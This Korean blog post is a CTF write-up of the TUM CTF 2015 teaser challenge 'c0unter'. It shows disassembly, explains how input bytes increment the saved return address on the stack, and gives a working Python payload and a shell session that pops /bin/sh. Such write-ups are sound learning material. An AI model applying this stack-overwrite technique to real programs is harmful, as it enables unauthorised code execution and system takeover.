본문 바로가기

Pwnable

tum ctf 2015 teaser - c0unter

c0unter 프로그램 안에는 이미 execl로 쉘을 실행 시키는 코드가 들어 있다.


.text:00000000004006E0                 mov     edi, offset aBinSh ; "/bin/sh"

.text:00000000004006E5                 sub     rsp, 8

.text:00000000004006E9                 xor     edx, edx

.text:00000000004006EB                 mov     esi, 4008D9h

.text:00000000004006F0                 xor     eax, eax

.text:00000000004006F2                 call    _execl   

=> execl("/bin/sh","sh",NULL);


rip value를 00000000004006E0로 하면 문제를 풀 수 있다.


아래 루틴에 rdx에는 입력한 문자가 하나 씩 들어가게 된다.

현재 rsp에서 rip value를 담고 있는 스택 까지 152 만큼 떨어져 있으니깐, 입력을 \x98(152)를 하게 되면 rip value가 1 증가 하게 된다.


   0x40079e: xchg   ax,ax

   0x4007a0: movzx  edx,BYTE PTR [rax]

   0x4007a3: add    rax,0x1

=> 0x4007a7: add    BYTE PTR [rsp+rdx*1],0x1

   0x4007ab: cmp    rax,rcx


rip value 값이 0x00000000004005d9 이니깐, exec 00000000004006E0로 만들기 위해, 

152(\x98)거리에 0xe0-0xd9 만큼, 153거리에는 0x06-0x05로 해주면 rip가 exec 코드로 변경되고,

실행되어 권한 탈취가 가능하다.


(python -c 'print "\x98"*(0xe0-0xd9)+"\x99"') > data

cat data;

ksg@ubuntu:~/pwn/tum$ (cat data;cat) | ./counter 

ls

counter  data  peda-session-counter.txt  rom-with-censored-flag.gb?raw=true

id

uid=1000(ksg) gid=1000(ksg) groups=1000(ksg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

'Pwnable' 카테고리의 다른 글

canary leak python code  (0) 2015.11.17
TUM CTF Teaser 2015: greeter writeup  (0) 2015.11.03
strtap address overflow  (0) 2015.10.18
stdin@@GLIBC_2.0  (2) 2015.10.06
pwnable.kr uaf  (0) 2015.09.29